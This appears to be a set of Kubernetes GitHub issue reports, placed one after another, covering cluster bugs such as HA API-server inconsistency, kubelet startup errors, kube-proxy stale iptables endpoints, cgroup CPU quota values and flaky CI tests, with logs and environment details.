 \r   what happened  :\r \r while migrating from 1.4 to 1.7  and to etcd v3 api  we found that our high availability setup broke. we have setup very similar to this: https://kubernetes.io/docs/admin/high-availability/ - we have 3x complete control plane  etcd with 3 nodes + 3 api servers, 3 controllers and 3 schedulers  and we have haproxy on each worker node load balancing the api servers  kubelet on worker nodes connects to localhost .\r \r first we was unable to even get the correct readiness of the nodes, they was randomly changing and each api server reported different nodes as ready and notready. addding  --etcd-quorum-read  parameter to api server helped - this parameter is not documented in the \ building high-availability cluster\  documentation even if it is apparently crucial to make the setup work.\r \r after adding  --etcd-quorum-read  the situation got much better but still not correct. it happens sometimes that different api servers report different pods and pod statuses which confuses kubelets on worker nodes and very quickly makes the cluster completely inoperable.\r \r it seems that the api server is not that stateless, that there is some kind of caching going on.\r \r is there some ha guidelines? we are now disabled 2 api servers and running just one. we probably can utilize pacemaker  or something similar but it would be quiet strange to have etcd with its advanced consensus algorithms and than pacemaker to keep only one api server running. \r \r maybe adding flag to api server that would mean something like \ i don't care it is going to be slow, i need it as correct as possible, so no caching, only quorum reads etc... ?\r \r also there are issues https://github.com/kubernetes/kubernetes/issues/19902 and https://github.com/kubernetes/kubernetes/issues/19816 - the second one is closed with last comment that api server is fast enough so you don't need to horizontally scale it and that ha needs to be redesigned and is closed.\r \r   environment  :\r - kubernetes version  use  kubectl version  :   server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration  : own servers\r - os  e.g. from /etc/os-release :  centos linux 7  core  \r - kernel  e.g.  uname -a  :  3.10.0-327.el7.x86_64 \r

is this a bug report or feature request?  :\r \r   \r   what happened  :\r performed a clean install on  centos linux release 7.4.1708  and started kubelet\r    \r yum install -y kubelet kubeadm kubectl\r systemctl enable kubelet && systemctl start kubelet\r    \r \r    \r systemctl status kubelet\r tail -100f /var/log/messages | grep kubelet\r \r oct 13 12:25:26 master systemd: started kubelet: the kubernetes node agent.\r oct 13 12:25:26 master systemd: starting kubelet: the kubernetes node agent...\r oct 13 12:25:26 master kubelet: i1013 12:25:26.185686    1425 feature_gate.go:156  feature gates: map  \r oct 13 12:25:26 master kubelet: i1013 12:25:26.185913    1425 controller.go:114  kubelet config controller: starting controller\r oct 13 12:25:26 master kubelet: i1013 12:25:26.185919    1425 controller.go:118  kubelet config controller: validating combination of defaults and flags\r oct 13 12:25:26 master kubelet: error: unable to load client ca file /etc/kubernetes/pki/ca.crt: open /etc/kubernetes/pki/ca.crt: no such file or directory\r oct 13 12:25:26 master systemd: kubelet.service: main process exited, code=exited, status=1/failure\r oct 13 12:25:26 master systemd: unit kubelet.service entered failed state.\r oct 13 12:25:26 master systemd: kubelet.service failed.\r oct 13 12:25:28 master systemd: configuration file /etc/systemd/system/kubelet.service is marked executable. please remove executable permission bits. proceeding anyway.\r oct 13 12:25:36 master systemd: kubelet.service holdoff time over, scheduling restart.\r    \r \r \r \r   what you expected to happen  :\r kubelet starts successfully\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r yum install -y kubelet kubeadm kubectl\r systemctl enable kubelet && systemctl start kubelet\r    \r \r    \r systemctl status kubelet\r tail -100f /var/log/messages | grep kubelet\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r  centos linux release 7.4.1708  vm running on vmware vcenter server  6.0.0, 2776511 \r    \r    \r - os  e.g. from /etc/os-release :\r    \r cat /etc/os-release\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r uname -a\r linux master 3.10.0-693.el7.x86_64  1 smp tue aug 22 21:09:27 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r kubelet kubeadm kubectl\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r the following service definition was valid in kubernetes 1.7:\r    yaml\r apiversion: v1\r kind: service\r metadata:\r   name: nginx\r spec:\r   ports:\r   - name: http1\r     port: 80\r     protocol: tcp\r     targetport: 80\r   - name: http2\r     port: 81\r     protocol: tcp\r     targetport: 80\r    \r \r in kubernetes 1.8 i have this error:\r    \r $ kubectl create -f - <<eof\r apiversion: v1\r kind: service\r metadata:\r   name: nginx\r spec:\r   ports:\r   - name: http1\r     port: 80\r     protocol: tcp\r     targetport: 80\r   - name: http2\r     port: 81\r     protocol: tcp\r     targetport: 80\r eof\r the service \ nginx\  is invalid: spec.ports 1 .targetport: duplicate value: intstr.intorstring{type:0, intval:80, strval:\ \ }\r    \r \r   what you expected to happen  :\r \r duplicate targetport shouldn't be problematic. or there should be a note somewhere  i searched the changelog with no success .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see command above.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.1\r - cloud provider or hardware configuration  : self hosted\r - os  e.g. from /etc/os-release : coreos container linux stable\r - kernel  e.g.  uname -a  : linux kube-3 4.13.5-coreos-r2  1 smp thu oct 12 03:21:09 utc 2017 x86_64 intel r  xeon r  cpu e5-2620 v3 @ 2.40ghz genuineintel gnu/linux\r - install tools: n/a\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r > >  \r \r   what happened  :\r when i config the para --cloud-config=/etc/kubernetes/kube_openstack_config  --cloud-provider=openstack\r -bash-4.2  kubectl get nodes\r name            status    age       version\r k8s-jlx-node1   ready     22d       v1.6.9+a3d1dfa6f4335\r k8s-jlx-node2   ready     1d        v1.6.9+a3d1dfa6f4335\r how the kubelet interact openstack and get the nodename and instanceid\r i read the code that some place get the instanceid in /var/lib/cloud/data/instance-id local filesystem \r and some place get the instanceid with the nodename to get the instanceid\r and run the attachdisk and detachdisk use the instanceid with the nodename to get the instanceid?\r thanks\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :k8sv1.6.9\r - cloud provider or hardware configuration:openstack\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r the k8s cluster with network_policy_provider=calico could not be brought up in gce when using calico 3.0+ release. it would complain a number of issues, e.g., missing crds, authentication issues, ...\r \r   what you expected to happen  :\r \r k8s cluster can be brought up with calico 3.0+ release\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - change image versions in cluster/addons/calico-policy-controller/{calico-node-daemonset, typha-depolyment}.yaml to calico 3.0+ release\r \r - make quick-release\r \r - set env vars\r \r export kube_cluster_initialization_timeout=3600\r export num_nodes=1\r export kube_up_automatic_cleanup=true\r export kube_gce_zone=us-west1-a\r export kube_gce_enable_ip_aliases=true\r export network_policy_provider=calico\r \r - run cluster/kube-up.sh to spin up a k8s cluster on gce\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

seems like in some operation generator functions  i saw this in  generateattachvolumefunc  if an error is encountered in the \ set up\  part outside of the actual  attachvolumefunc  there is no rate limiting and the  generateattachvolumefunc  will be retried over and over hundreds of times a second. this causes significant event spam and can also slow down the controller.\r \r   /cc @msau42 @saad-ali @jingxu97 @verult \r \r   how to reproduce it  as minimally and precisely as possible   :\r cause some long term error in lines:\r https://github.com/davidz627/kubernetes/blob/f7a6b0a8602e02d67fabaa85458a94c0f14599a5/pkg/volume/util/operationexecutor/operation_generator.go l305-l334\r observe function being retried without rate limiting.

what would you like to be added  :\r deprecate the flag which enables exposing logs of apiserver.\r \r   why is this needed  :\r as per https://github.com/kubernetes/kubernetes/issues/77182 issuecomment-487439173, in order to disable accessing apiserver logs in the future, we need to deprecate the current default and wait for the requisite time period.

hi! i want to use openstack to provide storage for kubernetes pod, but when i run kubelet --cloud-provider=openstack --cloud-config=/etc/cloud.conf. it causes some errors.  kubernetes version:      client version: version.info{major:\ 1\ , minor:\ 0\ , gitversion:\ v1.0.6\ , gitcommit:\ 388061f00f0d9e4d641f9ed4971c775e1654579d\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 0\ , gitversion:\ v1.0.6\ , gitcommit:\ 388061f00f0d9e4d641f9ed4971c775e1654579d\ , gittreestate:\ clean\ }      /etc/cloud.conf       global  auth-url=https://162.3.132.50:443/identity/v2.0 username=username password=password region=regionone1 tenant-id=a1fa87b6b770496e929685fd5f1e0e18      and errors like this:      i0126 06:32:54.408314   31559 server.go:273  using root directory: /var/lib/kubelet i0126 06:32:54.408556   31559 manager.go:127  cadvisor running in container: \ /user/0.user/7.session\  i0126 06:32:54.408994   31559 fs.go:93  filesystem partitions: map /dev/disk/by-label/cloudimg-rootfs:{mountpoint:/ major:253 minor:1}  i0126 06:32:54.611071   31559 manager.go:158  machine: {numcores:1 cpufrequency:2499998 memorycapacity:2099146752 machineid:1fae653b5915a5674b404ebe55356ffe systemuuid:08b94b58-03e6-4dc8-af72-6676a4c73daf bootid:19caa194-ce92-4e3c-b7df-947007ac685b filesystems: {device:/dev/disk/by-label/cloudimg-rootfs capacity:20062785536}  diskmap:map 253:0:{name:vda major:253 minor:0 size:21474836480 scheduler:none}  networkdevices: {name:eth0 macaddress:fa:16:3e:e7:f5:b3 speed:0 mtu:1400} {name:flannel0 macaddress: speed:10 mtu:1372}  topology: {id:0 memory:2099146752 cores: {id:0 threads: 0  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:4194304 type:unified level:2} }  caches:  }  cloudprovider:unknown instancetype:unknown} i0126 06:32:54.612693   31559 manager.go:164  version: {kernelversion:3.13.0-49-generic containerosversion:ubuntu 14.04.2 lts dockerversion:1.6.0 cadvisorversion:0.16.0} i0126 06:32:54.644869   31559 server.go:292  successfully initialized cloud provider: \ openstack\  from the config file: \ /etc/cloud.conf\  i0126 06:32:55.603302   31559 server.go:413  using self-signed cert  /var/run/kubernetes/kubelet.crt, /var/run/kubernetes/kubelet.key  i0126 06:32:55.603472   31559 docker.go:295  connecting to docker on unix:///var/run/docker.sock i0126 06:32:55.604560   31559 openstack.go:160  openstack.instances   called panic: runtime error: invalid memory address or nil pointer dereference  signal 0xb code=0x1 addr=0x0 pc=0x53c6e2  .......

hack/update-swagger-spec.sh  calls  kube::etcd::start  by way of  hack/lib/etcd.sh . but kube::etcd::start   uses etcd from the path and etcd_version requires that version or later.  the dependent etcd should either be part of an image or the host machine could install the latest version on the fly to a temporary working location or verify the one on the path in an early prereq check that all dependencies on the host system are up to date.  cc @ixdy @spxtr @pwittrock @mbohlool

environment  : - vsphere - openstack  possibly, since the openstack provider also talks to the compute api for its addresses     what happened  : when kubelet tries to set the node addresses, it gets this error when the vsphere provider cannot talk to the vcenter server.    e1007 16:27:35.794667    3463 kubelet.go:2913  error updating node status, will retry: failed to get node address from cloud provider: post https://137.156.165.120:443/sdk: dial tcp 137.156.165.120:443: i/o timeout   this will cause the kube-node to be not ready and kubernetes will start migrating pods/volumes from that node to a different node.    what you expected to happen  : even if there is a small network outage, and the provider is not able to contact the compute api for ip addresses, kubelet or the cloud-provider should not error out and instead fall back to a get these ips locally.   there is already a todo for this issue but i couldnt find an issue for this. https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet_node_status.go l363

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2308/ failed:  k8s.io  downward api volume should update annotations on modification  conformance   volume  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:154 expected error:     < errors.errorstring | 0xc420423df0>: {         s: \ pod ran to completion\ ,     }     pod ran to completion not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:81

the  kube-apiserver  now includes the aggregator and the default openapi information is accessible via delegation, but we should really be building it based on the specific group versions being aggregated by the aggregator.\r \r this is not as simple as just including all the available api groups from a given server, since a server can reasonably host more groupversions than are exposed.  common reasons for doing this would be servers that can handle delegated authentication or authorization checks.  this would be common for someone plugging in a new webhook  only aggregate the kube-apiserver check, but the kube-apiserver could delegate out  or cases where the aggregated api server wants to support operations like  kubectl auth can-i .\r \r client-side validation will not function well for aggregated api servers until this work.\r \r @mbohlool @kubernetes/sig-api-machinery-misc

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-federation-build/1659\r \r federation build is broken with the following error.\r    \r i0420 10:48:18.076  push federation images: \r i0420 10:48:18.076  push-build.sh::main  : /var/lib/jenkins/workspace/ci-kubernetes-federation-build/go/src/k8s.io/kubernetes/federation/develop/push-federation-images.sh\r i0420 10:48:18.083  make: entering directory '/var/lib/jenkins/workspace/ci-kubernetes-federation-build/go/src/k8s.io/kubernetes/federation'\r i0420 10:48:18.153  project: k8s-jkns-e2e-gce-federation\r i0420 10:48:18.154  zone: us-central1-b\r i0420 10:48:18.312  +++  0420 10:48:18  wrote to version file /var/lib/jenkins/workspace/ci-kubernetes-federation-build/go/src/k8s.io/kubernetes/_output/federation/versions: v1.7.0-alpha.2.49_1413f2e862b99e\r i0420 10:48:18.314  make 1 : entering directory '/var/lib/jenkins/workspace/ci-kubernetes-federation-build/go/src/k8s.io/kubernetes/cluster/images/hyperkube'\r i0420 10:48:18.719  tar: /tmp/hyperkubed9ftu6/cni-bin: cannot open: no such file or directory\r i0420 10:48:18.719  tar: error is not recoverable: exiting now\r i0420 10:48:18.720  curl:  23  failed writing body  919 != 1379 \r i0420 10:48:18.721  makefile:62: recipe for target 'build' failed\r i0420 10:48:18.721  make 1 :      build  error 2\r i0420 10:48:18.722  make 1 : leaving directory '/var/lib/jenkins/workspace/ci-kubernetes-federation-build/go/src/k8s.io/kubernetes/cluster/images/hyperkube'\r i0420 10:48:18.725  !!!  0420 10:48:18  call tree:\r i0420 10:48:18.727  !!!  0420 10:48:18   1: ./develop/develop.sh:151 build_image ... \r i0420 10:48:18.727  !!! error in ./develop/develop.sh:112\r i0420 10:48:18.727    error in ./develop/develop.sh:112. '  i<3-1  ' exited with status 2\r i0420 10:48:18.727  call stack:\r i0420 10:48:18.727    1: ./develop/develop.sh:112 build_image ... \r i0420 10:48:18.727    2: ./develop/develop.sh:151 main ... \r i0420 10:48:18.727  exiting with status 1\r i0420 10:48:18.728  makefile:50: recipe for target 'build_image' failed\r i0420 10:48:18.729  make:      build_image  error 1\r i0420 10:48:18.729  make: leaving directory '/var/lib/jenkins/workspace/ci-kubernetes-federation-build/go/src/k8s.io/kubernetes/federation'\r i0420 10:48:18.731  failed\r    \r after analyzing, found that this was caused by recent pr.  44555\r which is accidentally not creating  ${temp_dir}/cni-bin \r https://github.com/kubernetes/kubernetes/pull/44555/files diff-86f22fb5b693949f04077054c41b762fl63\r \r cc @kubernetes/sig-federation-bugs @luxas @mikedanese @jbeda

failure cluster  c70178621052911c7195  https://go.k8s.io/triage c70178621052911c7195        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-local.go:129 expected error:     < errors.errorstring | 0xc420dc9530>: {         s: \ error getting ssh client to prow@bootstrap-e2e-minion-group-hxqq:22: 'dial tcp: lookup bootstrap-e2e-minion-group-hxqq on 10.63.240.10:53: no such host'\ ,     }     error getting ssh client to prow@bootstrap-e2e-minion-group-hxqq:22: 'dial tcp: lookup bootstrap-e2e-minion-group-hxqq on 10.63.240.10:53: no such host' not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-local.go:372           failure cluster statistics: 8 tests failed,    2 jobs failed,    86 builds failed. failure stats cover 1 day time range '4 aug 2017 17:38 utc' to '5 aug 2017 17:38 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-storage  persistentvolumes-local  feature:localpersistentvolumes   serial  when one pod requests one prebound pvc should be able to mount and read from the volume using one-command containers | 2 | |  sig-storage  persistentvolumes-local  feature:localpersistentvolumes   serial  when one pod requests one prebound pvc should be able to mount and write to the volume using one-command containers | 2 | |  sig-storage  persistentvolumes-local  feature:localpersistentvolumes   serial  when one pod requests one prebound pvc should be able to mount volume and read from pod1 | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-alpha-features | 44 |  5 aug 2017 17:03 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/14107  | | ci-kubernetes-e2e-gce-alpha-features | 42 |  5 aug 2017 16:49 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-alpha-features/14064  |   current status  https://go.k8s.io/triage c70178621052911c7195

 \r currently quota code doesn't handle resource updates very well. for updates it needs to pick maximum of old and new value and then use it.\r \r related to - https://github.com/kubernetes/kubernetes/pull/49727

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r the health endpoint is already registered in https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-controller-manager/app/controllermanager.go l204. and we can safely remove it.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r   \r   what happened  :\r we have 2 functions for creating valid psp that are local to different tests:  the first  https://github.com/kubernetes/kubernetes/blob/46c2bfe47df0806536f75f7c3e913aadd2ed05b9/pkg/apis/extensions/validation/validation_test.go l2782-l2800  and  the second  https://github.com/kubernetes/kubernetes/blob/46c2bfe47df0806536f75f7c3e913aadd2ed05b9/pkg/apis/extensions/validation/validation_test.go l2402-l2427 .\r \r note that the second also set  allowedhostpaths  field  it was added in  fab6044a3 commit  https://github.com/kubernetes/kubernetes/commit/fab6044a31cbba4205d9f1cddf10da48b0112223 diff-db71b9ae4bdf839c56ad9c2790730a5d   but looks like this field isn't being used in tests.\r \r   what you expected to happen  :\r i suggest to extract them to a single function and use it in both tests.\r \r cc @pi-victor in case you're interesting in working on this.\r \r

once the api for http://bit.ly/pod-shared-pid is finalized, add a node e2e test.\r \r  /assign @verb\r /cc @yujuhong \r 

forking from https://github.com/kubernetes/kubernetes/issues/60500 issuecomment-373121164:\r \r to summarize, here's what we observed:\r 1. patch daemonset calls coming every minute from both fluentd-scaler and addon-manager  verified this by individually turning them on/off . things we need to understand here:\r   - is the daemonset object continuously toggling b/w 2 states?  we know here that it's rv is increasing continuously \r   - if yes, what field s  in the object are changing? iirc value of some label/annotation  i think 'updatedpodsscheduled'  is changing  probably related to 2 below \r   - also, why/should the fluentd-scaler send any api request if the resources are already set to the right value?\r 2. fluentd pods are getting deleted and recreated by daemonset-controller when the scaler is enabled  as was also seen in https://github.com/kubernetes/kubernetes/issues/60500 issuecomment-373001797 . why this is happening? one thing to note here - all those delete calls are preceded by  put pod-status  calls from respective kubelets  but maybe that's expected .\r \r cc @kubernetes/sig-instrumentation-bugs @crassirostris @liggitt \r / /assign @x13n

as  62913 introduced a simple dynamic client, which is easy to use. and in some test, the old clientpool is still used, so we should change all to the simple one asap.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r \r   what happened  :\r \r started a kubernetes pod with cpu limits and cpu resources as 8 as in the snippet of the deployment yaml shown below:\r \r           resources:\r             limits:\r               cpu: 8\r               memory: 12gi\r               hugepages-2mi: 1024mi\r             requests:\r               cpu: 8\r               memory: 12gi\r \r checking the cpu.cfs_quota_us value of this pod in the worker node reports an incorrect value of -1 as show in the output below:\r \r admin1@storage:~$ cat /sys/fs/cgroup/cpu,cpuacct/kubepods/poda38dae07-84e8-11e8-a30b-54ab3a14113f/fe882fb76b48646d4c24e89f1926f34c2b59bc07f2275072ffd8480e1eb78e43/cpu.cfs_quota_us\r -1\r \r \r   what you expected to happen  :\r the cpu.cfs_quota_us of the kubernetes pod is expected as 800000. this issue where the incorrect value of -1 is randomly observed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r start the kubernetes pod with the below cpu resource limit and requests:\r \r           resources:\r             limits:\r               cpu: 8\r               memory: 12gi\r               hugepages-2mi: 1024mi\r             requests:\r               cpu: 8\r               memory: 12gi\r \r deployment yaml file attached:\r  deployment.txt  https://github.com/kubernetes/kubernetes/files/2184878/deployment.txt \r \r the kubelet configuration is show below:\r \r  service \r environment=\ kubelet_kubeconfig_args=--bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf\ \r environment=\ kubelet_system_pods_args=--pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true\ \r environment=\ kubelet_network_args=--network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin\ \r environment=\ kubelet_dns_args=--cluster-dns=10.96.0.10 --cluster-domain=cluster.local\ \r environment=\ kubelet_authz_args=--authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt\ \r environment=\ kubelet_certificate_args=--rotate-certificates=true --cert-dir=/var/lib/kubelet/pki\ \r environment=\ flexvolume_dir_path=--volume-plugin-dir=/var/lib/kubelet/volumeplugins\ \r environment=\ kubelet_cgroup_args=--cgroup-driver=cgroupfs\ \r environment=\ kubelet_extra_args=--node-ip=172.24.17.102\ \r execstart=\r execstart=/usr/bin/kubelet $kubelet_kubeconfig_args $kubelet_system_pods_args $flexvolume_dir_path $kubelet_network_args $kubelet_dns_args $kubelet_authz_args $kubelet_certificate_args $kubelet_cgroup_args $kubelet_extra_args\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  : linux master 4.4.0-98-generic  121-ubuntu smp tue oct 10 14:24:03 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r we have 2 master nodes and default/kubernetes endpoints has 2 ip addresses.\r after deleting one mater node, and observed that default/kubernetes has only 1 address, kube-proxy still uses 2 endpoints in iptables including stale master node as if it does not get any update.\r \r suppose that we have 2 master nodes whose addresses are 182.22.18.81 and 182.22.18.176.  i deleted 182.22.18.176.  btw i use lease reconciler.\r \r after deletion, endpoints object becomes:\r \r    yaml\r apiversion: v1\r kind: endpoints\r metadata:\r   creationtimestamp: 2018-08-27t01:25:49z\r   name: kubernetes\r   namespace: default\r   resourceversion: \ 8923\ \r   selflink: /api/v1/namespaces/default/endpoints/kubernetes\r   uid: 214a8393-a998-11e8-830b-fa163ed0442d\r subsets:\r - addresses:\r   - ip: 182.22.18.81\r   ports:\r   - name: https\r     port: 443\r     protocol: tcp\r    \r \r this is kube-proxy log.  notice that it still uses stale ip address \ 182.22.18.176\ :\r \r    \r aug 27 02:49:15 worker docker 6506 : i0827 02:49:15.403502       1 config.go:141  calling handler.onendpointsupdate\r aug 27 02:49:15 worker docker 6506 : i0827 02:49:15.403572       1 endpoints.go:234  setting endpoints for \ default/kubernetes:https\  to  182.22.18.176:443 182.22.18.81:443 \r aug 27 02:49:15 worker docker 6506 : i0827 02:49:15.403603       1 endpoints.go:234  setting endpoints for \ default/kubernetes:https\  to  182.22.18.176:443 182.22.18.81:443 \r    \r \r iptables still has stale ip address:\r \r    \r -a kube-sep-zftqzjxr53dfyewg -s 182.22.18.176/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r -a kube-sep-zftqzjxr53dfyewg -p tcp -m comment --comment \ default/kubernetes:https\  -m tcp -j dnat --to-destination 182.22.18.176:443\r    \r \r i originally reported this issue in  51445 but it was closed because there was no activity.\r \r   what you expected to happen  :\r \r kube-proxy must react default/kubernetes endpoints update and update iptables accordingly, deleting stale ip address.\r \r this issue does not happen every time.  sometimes we get the following log in kube-proxy, and it works correctly:\r \r    \r aug 27 01:44:08 worker docker 6506 : i0827 01:44:08.904640       1 endpoints.go:234  setting endpoints for \ default/kubernetes:https\  to  182.22.18.16:443 182.22.18.38:443 \r aug 27 01:44:08 worker docker 6506 : i0827 01:44:08.904665       1 endpoints.go:234  setting endpoints for \ default/kubernetes:https\  to  182.22.18.16:443 \r aug 27 01:44:08 worker docker 6506 : i0827 01:44:08.904694       1 endpoints.go:302  stale endpoint default/kubernetes:https -> 182.22.18.38:443\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create cluster with at least 2 masters.  delete one master node, and check the log of kube-proxy and iptables entries.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

